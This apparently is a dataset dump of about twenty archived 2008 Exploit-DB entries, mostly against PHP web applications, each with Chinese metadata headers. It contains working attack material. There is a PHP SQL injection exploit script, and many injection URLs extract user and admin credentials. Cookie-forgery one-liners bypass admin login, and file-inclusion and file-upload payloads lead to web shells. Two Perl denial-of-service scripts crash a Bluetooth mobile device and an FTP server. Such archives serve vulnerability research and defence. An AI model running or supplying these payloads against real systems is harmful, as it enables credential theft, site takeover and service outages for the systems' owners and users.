QLWD/code_shield huggingface dataset:
标题: PHPcounter 1.3.2 - 'index.php' SQL Injection EDB-ID: 6611 CVE: 2008-4675 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: #!/usr/bin/php -q
<?php

// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/

error_reporting(0);

$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://',NULL,$host);

$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);

function banner() {
  echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";
  exit(0);
}

if(!$sock = fsockopen($host,80)) {
  die("Socket Error\r\n");
}

$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) {
  $content .= fgets($sock);
} fclose($sock); 


if(preg_match('/\$(.+?)\$/',$content,$out)) {
  print "[+] $out[1]\r\n";
}
else {
  echo "[!] Exploit Failed!\n";
}

?>

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6611
标题: RPG.Board 0.0.8Beta2 - Insecure Cookie Handling EDB-ID: 6591 CVE: 2008-7028 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: ###############################################################################################
[+] RPG.Board <= 0.0.8Beta2 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack             
[+] Greetz : All my freind            
################################################################################################
Exploit:
javascript:document.cookie = "keep4u=l5_ZrX8; path=/;";

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6591
标题: E-Uploader Pro 1.0 - Multiple SQL Injections EDB-ID: 6596 CVE: 2008-5075 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: E-Uploader Pro <= 1.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 26.08.08
Product: E-Uploader Pro
Version: 1.0
Price: $49
URL: www.scriptsfrenzy.com
Download script: http://rapidshare.com/files/18285945/E-UploaderPro.PHP.NULL-DGT_license.zip
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/browser.php?view='+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7+from+users/*

Exploit 2:

http://localhost/[installdir]/browser.php?view='+union+select+1,concat_ws(0x3a,admin_user,admin_pass),3,4,5,6,7+from+settings/*

Adminka:

http://localhost/[installdir]/admin.php


http://localhost/[installdir]/img.php?id='+union+select+1,2,user()/*
http://localhost/[installdir]/file.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/mail.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/thumb.php?id='+union+select+1,2,user()/*
http://localhost/[installdir]/zip.php?id='+union+select+1,2,3/*
http://localhost/[installdir]/zipit.php?id='+union+select+1,2,3,4,5,6,7/*

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6596
标题: RPG.Board 0.0.8Beta2 - 'showtopic' SQL Injection EDB-ID: 6589 CVE: 2008-4736 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: _____          ____   _____    ____   _____   __  __    _____   ____
   /  _  \ /\  /\ / _  \ /  _  \  / ___| /  _  \ /  \/  \  /  _  \ / _  |
   | | | | \ \/ / ||_| | | | | |  | |    | | | | | \__/ |  | |_| | ||_|_|
   | | | |  \  /  \__  | | | | |  | |    | | | | | |  | |  |  _  | |   \
   | |_| |  /  \   __| | | |_| |/\| |__  | |_| | | |  | |/\| | | | | |\ \
   \_____/ / /\ \ |____/ \_____/\/\____| \_____/ |_|  |_|\/|_| |_| |_| \_|
           \/  \/

[~] RPG.Board <= 0.0.8Beta2 Remote SQL Injection

[~] Author: 0x90

[~] HomePage: www.0x90.com.ar

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] Script: RPG.Board

[~] site: http://rpgmaster.de/viewtopic.php?f=25&t=69

[~] Vulnerability Class: SQL Injection



[~] Exploit:

Register, login and testing exploit..

http://host/index.php?subtopic&showtopic=-0x90+union+select+null,null,null,concat(user,0x3a,pw),null+from+[PREFIX]userlogin

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6589
标题: CoAST 0.95 - 'sections_file' Remote File Inclusion EDB-ID: 6598 CVE: 2008-4735 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: **************************************************************************************

Author : By DaRkLiFe
Greetz : str0ke & S.VV.A.T.

**************************************************************************************
Script   : The Concord Asset, Software, and Ticket system(CoAST) 0.95 Remote File Inclusion Vulnerability

Download :http://downloads.sourceforge.net/coastal/coast-0.95.tgz?modtime=1222363198&big_mirror=0

**************************************************************************************

Exploit : Site.com/script_path/coast/header.php?sections_file=Shellz?


**************************************************************************************

The header.php.dist file exists and it has to be   renamed into header.php as given in instructions.

Vulberable : line 201 : <?php @include $sections_file; ?>

**************************************************************************************

THANKS ! GREETZ ! 
**************************************************************************************

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6598
标题: The Gemini Portal 4.7 - 'lang' Remote File Inclusion EDB-ID: 6587 CVE: 2008-4720 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: [~] The Gemini Portal Multiple Remote File inj.
[~]
[~] version: 4.7
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 26.09.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

file 1: gemini/page/forums/bottom.php

c0de:

include($lang);  (line16)

Exploit 1:

http://localhost/script_path/gemini/page/forums/bottom.php?lang=ZoRLu.txt?

file 2: gemini/page/forums/category.php

c0de:

include($lang);  (line 17)

Exploit 2:

http://localhost/script_path/gemini/page/forums/category.php?lang=ZoRLu.txt?

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6587
标题: Crux Gallery 1.32 - Insecure Cookie Handling EDB-ID: 6586 CVE: 2008-4484 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Crux Gallery <= 1.32 / Insecure Cookie Handling Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program: Crux Gallery
Version: <= 1,32
File affected: admin/*
Download: http://www.arzdev.com/downloads/8/Crux


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


>> Program description (by the author website) <<

Crux Gallery reads directories on a server and listes them with thumbnails for
the user to view without useing exrta space for thumbnails or extra bandwidth 
for full images. Each image has other resolutions near them for the user to 
choose from, including the origional resolution the image is in.

>> Bug <<

You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.


>> Exploit <<

Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.

Navigate by the admin panel adding the parameter '&name=users' in the 
navigation bar. Examples: 
    
 to view the main admin panel:
 http://site/index.php?op=admin&name=users

 to change the admin password:
 http://site/index.php?op=pass&name=users

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6586
标题: X7 Chat 2.0.1A1 - 'mini.php' Local File Inclusion EDB-ID: 6592 CVE: 2008-4718 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: ====================================================================


  [o] X7 Chat <= 2.0.1A1 Local File Inclusion Vulnerability

       Software : X7 Chat version 2.0.5.1
       Vendor   : http://x7chat.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


====================================================================


  [o] Vulnerable file

       help/mini.php

        include("./help/{$_GET['help_file']}");



  [o] Exploit

       http://localhost/[path]/help/mini.php?help_file=[LFI]%00



  [o] Dork

       "powered by x7 chat"


====================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ k1tk4t
       skulmatic olibekas ulga Cungkee str0ke

        
====================================================================

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6592
标题: The Gemini Portal 4.7 - Insecure Cookie Handling EDB-ID: 6584 CVE: 2008-7024 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
The Gemini Portal <= 4.7 / Insecure Cookie Handling Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program: The Gemini Portal
Version: <= 4.7
File affected: admin/*
Download: http://www.arzdev.com/downloads/1/Gemini


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


>> Program description (by the author website) <<

The Gemini Portal 4 is the most scalable, dynamic, and powerful content 
management system there is. It is perfect for large business network services, 
to the simple personal web site for use with PHP and MySQL.', 'The Gemini 
Portal is a dynamic content management system. It is ideal for any size 
community, allowing users, moderators, limited admins, and global admins log 
in. Many of the built in pages use the dynamic database file system (ArzFS) 
to manipulate files and folders.


>> Bug <<

You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.


>> Exploit <<

Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.

First step: javascript:document.cookie = "user=admin"

Second step: navigate by the admin panel adding the parameter '&name=users' in 
the navigation bar. Examples: 
    
 to view the main admin panel:
 http://site/admin.php?page=main&name=users

 to list all forums:
 http://site/admin.php?page=forums&name=users

 to post a new forum:
 http://site/admin.php?page=forums&name=users&page=forums&op=newf&fview=Everyone&fpost=Everyone&forumname=WHAT_YOU_WANT&descrip=WHAT_YOU_WANT

 to list articles:
 http://site/admin.php?page=articles&name=users

 to create a new article:
 http://site/admin.php?page=articles&name=users&op=newd&dtitle=WHAT_YOU_WANT&ppcontent=WHAT_YOU_WANT&dfolder=0&category=1&autor=admin

 to list all users:
 http://site/admin.php?page=users&name=users

 to edit the admin profile (you can change the admin password)
 http://site/admin.php?page=users&op=edi&uid=2&name=users

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6584
标题: Camera Life 2.6.2b4 - Arbitrary File Upload EDB-ID: 6594 CVE: 2008-4366 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: [+] CameraLife-2.6.2b4 Arbitrary File Upload Vulnerability

[+] Author:Mi4night

[+] Version:cameralife-2.6.2b4

[+] Download Script:
[+] http://sourceforge.net/project/showfiles.php?group_id=70910&package_id=70316&release_id=628868

[+] Exploit:
[+] http://127.0.0.1/cameralife/images/photos/upload/Mi4night/yourshell.php

[+] Description:
[+] After registering you can upload php files which you can access just like in the exploit section! Change Mi4night with your username.

[+] Greets to : nuclear, cAs,zYzTeM, Sys32-Hack, Pepe, G-Emp!RE, ThaWhiteNigga, *Z.i.P*,THE_MAN, I-O-W-A, Digitalfortress, DiGitalX, sys32r, pentest, Pig, d3v1l, watchdog, Gibon

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6594
标题: Joovili 3.0 - Multiple SQL Injections EDB-ID: 6595 CVE: 2008-4711 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: Joovili <= 3.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 27.08.08
Product: Joovili
Version: 3.0
Price: $155  
URL: www.joovili.com
Download script: http://rapidshare.com/files/96178834/Joovili.Patch.3.0.1__2.Themes.WST.rar.html
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

http://localhost/[installdir]/search.php

Search Music:

Exploit 1: 

'+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8+from+joovili_users/*

Exploit 2:

'+union+select+1,2,3,concat_ws(0x3a,admin_username,admin_password),5,6,7,8+from+joovili_admins/*


Exploit 1:

http://localhost/[installdir]/view.blog.php?id='+union+select+1,2,concat_ws(0x3a,username,password),user(),version(),6+from+joovili_users/*

Exploit 2:

http://localhost/[installdir]/view.blog.php?id='+union+select+1,2,concat_ws(0x3a,admin_username,admin_password),user(),version(),6+from+joovili_admins/*

Exploit 1:

http://localhost/[installdir]/view.event.php?id='+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15+from+joovili_users/*

Exploit 2:

http://localhost/[installdir]/view.event.php?id='+union+select+1,2,concat_ws(0x3a,admin_username,admin_password),4,5,6,7,8,9,10,11,12,13,14,15+from+joovili_admins/*


http://localhost/[installdir]/view.group.php?id='+union+select+1,2,user(),4,5,6,7,8,9/*
http://localhost/[installdir]/view.music.php?id='+union+select+1,2,3,version(),5,6,7,8/*
http://localhost/[installdir]/view.picture.php?id='+union+select+1,user(),3,4,5,6,7/*
http://localhost/[installdir]/view.video.php?id='+union+select+1,2,3,user(),5,6,7,8/*

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6595
标题: Vbgooglemap Hotspot Edition 1.0.3 - SQL Injection EDB-ID: 6593 CVE: 2008-4706 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: #######################################################################
#
# Vbgooglemap Hotspot Edition 1.0.3 Remote SQL Injection Vulnerability
#
#######################################################################

# Bug discovered by elusiven
# It was priv8

Bug: 

[Target]/[Path]/vbgooglemaphse.php?do=showdetails&mapid=-1+UNION+SELECT+0,1,password,salt,username,5,6,7,8,9,10,11,12,13+FROM+user--

or:

[Target]/[Path]/mapa.php?do=showdetails&mapid=-1+UNION+SELECT+0,1,password,salt,username,5,6,7,8,9,10,11,12,13+FROM+user--

# Special gr33tz for: my sweet Monia :*
# gr33tz for: artii2, GrZyB997, Sp!riT, Msb, Adish, Mandr4ke, eXc!t3, aqtyq, tescik2, stranger, Voldo, KrafT,
# DonJapkO, Gaara, br0wdz, uncalled, cOndemned aka f60.1, zbt, matisto, pr0metheus and all gd pplz from the underground.

#################################################
#
# Vbgooglemap Hotspot Edition 1.0.3 SQL INJECTION
#
#################################################

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6593
标题: openEngine 2.0 beta2 - Remote File Inclusion EDB-ID: 6585 CVE: 2008-4719 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : str0ke & All My Friends

**************************************************************************************
Script   : openEngine 2. 0 beta2 Remote File include Vulnerable
Download :http://downloads.sourceforge.net/openengine/openengine20_beta2.zip?modtime=1203083918&big_mirror=0

**************************************************************************************

Exploit : Site.com/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz?


**************************************************************************************

Vulberable : include($oe_classpath."/openengine/thumbnail.php"); (filepool.php)


**************************************************************************************

N0te : Mubarek Ramazan Bayraminiz Kutlu Olsun Ey Musluman Halki :)
**************************************************************************************

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6585
标题: openEngine 2.0 beta4 - Remote File Inclusion EDB-ID: 6571 CVE: 2008-4329 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ########################################################################
 #  [ openEngine <= 2.0 beta4 ]   Remote File Inclusion Vulnerability   #
 ########################################################################
 #
 # Script: "Open Source Web Content Management Systems openEngine"
 #
 # Script site: http://www.openengine.de/
 # Download:  http://sourceforge.net/projects/openengine/
 #
 # Vuln: http://site.com/[openengine20]/cms/system/openengine.php?oe_classpath=[spread???]
 #      
 #
 # Bug: ./openengine20/cms/system/openengine.php
 #
 # ...
 #  require($oe_classpath."/openengine/database/mysql.php");
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6571
标题: Microsoft Windows Mobile 6.0 - Device Long Name Remote Reboot (Denial of Service) EDB-ID: 6582 CVE: 2008-4295 类型: DOS 平台: HARDWARE 发布日期: 2008-09-26 漏洞利用脚本: #!/usr/bin/perl
#
# ----------WM6 remote overflow reboot PoC----------
# Simple exploit for remote rebooting a windows mobile device
# Maybe we can use it for doing command execution,
# I've not test it since the device is rebooting and do not dump a core
# for further analysing.
#
# The bug is not realy in the long string name but when it's the first
# time the wm6 device try to get a connection with too long name. 
#
# There's two way to exploit this bug, this PoC show the first method 
# (direct connect to the device if we know the bdaddr) but you can
# just wait for the device to search and overflow by itself when
# seeing the hci name:
# hciconfig <hci dev> name `perl -e 'print "A"x90000'`
# hciconfig <hci dev> piscan
# You just have to wait until the wm device search for bluetooth devices
# in range and it will be overflowed
#
#  *Tested on WM6 fully patched  on [HTC wiza 200],[HTC Mda 8125]
# (by Julien Bedard)
#

use Net::Bluetooth;

$target=$ARGV[0];
$hci_dev=$ARGV[1];
$overflow="A" x 90000;
$rfcomm_port="3";

if (@ARGV < 2)
{
die "Usage:\n       ./wm6_dos.pl <target_mac> <hci_device>\n\n";
}

# change this lame cmd ???
system("hciconfig $hci_dev name $overflow");

$over_conn = Net::Bluetooth->newsocket("RFCOMM");
print "socket error $!\n" unless(defined($over_conn));
$over_conn->connect($target, $rfcomm_port);

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6582
标题: WinFTP Server 2.3.0 - 'NLST' Denial of Service EDB-ID: 6581 CVE: 2008-5666 类型: DOS 平台: WINDOWS 发布日期: 2008-09-26 漏洞利用脚本: #!/usr/bin/perl
############
#
# Simple Dos Crap for the winftpsrv.exe v.2.3.0
#  by Julien Bedard
#
####################################

use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "..?" x 35000;
$user = "test";
$pass = "test";
$port = 21;

$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->nlst($overflow);
$ftp->quit;

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6581
标题: Atomic Photo Album 1.1.0pre4 - Insecure Cookie Handling EDB-ID: 6580 CVE: 2008-4714 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: ###############################################################################################
[+] Atomic Photo Album 1.1.0pre4 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack              
[+] Greetz : All my freind             
################################################################################################
javascript:document.cookie = "apa_cookie_login=foo; path=/;";
javascript:document.cookie = "apa_cookie_password=bar; path=/;";

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6580
标题: Libra PHP File Manager 1.18 - Insecure Cookie Handling EDB-ID: 6579 CVE: 2008-7027 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: ###############################################################################################
[+] Libra PHP File Manager Insecure Cookie Handling Vulnerability
[+] Discovered By Stack              
[+] Greetz : All my freind             
################################################################################################
---
exploit:
javascript:document.cookie = "user=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6579
标题: 212Cafe Board 0.07 - 'qID' SQL Injection EDB-ID: 6578 CVE: 2008-4713 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: ===================================================================
  212cafe Board (view.php qID) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : 212cafe Board 
VERSION     : 0.07
VENDOR      : http://www.212cafe.com/
DOWNLOAD    : http://php.deeserver.net/download/get/12/212cafeboard_v0_07.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (view.php)
-----------------------------------

$query="SELECT * FROM board_question WHERE (qID='$qID')";

---------
 Exploit
---------

[+] http://[Target]/[212cafeboard]/view.php?qID=[SQL Injection]


------
 POC
------

[+] http://[Target]/[212cafeboard]/view.php?qID=-9999')/**/UNION/**/SELECT/**/1,concat(mUser,0x3a3a,mPasswd),3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/board_member/**/WHERE/**/(mID='1


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6578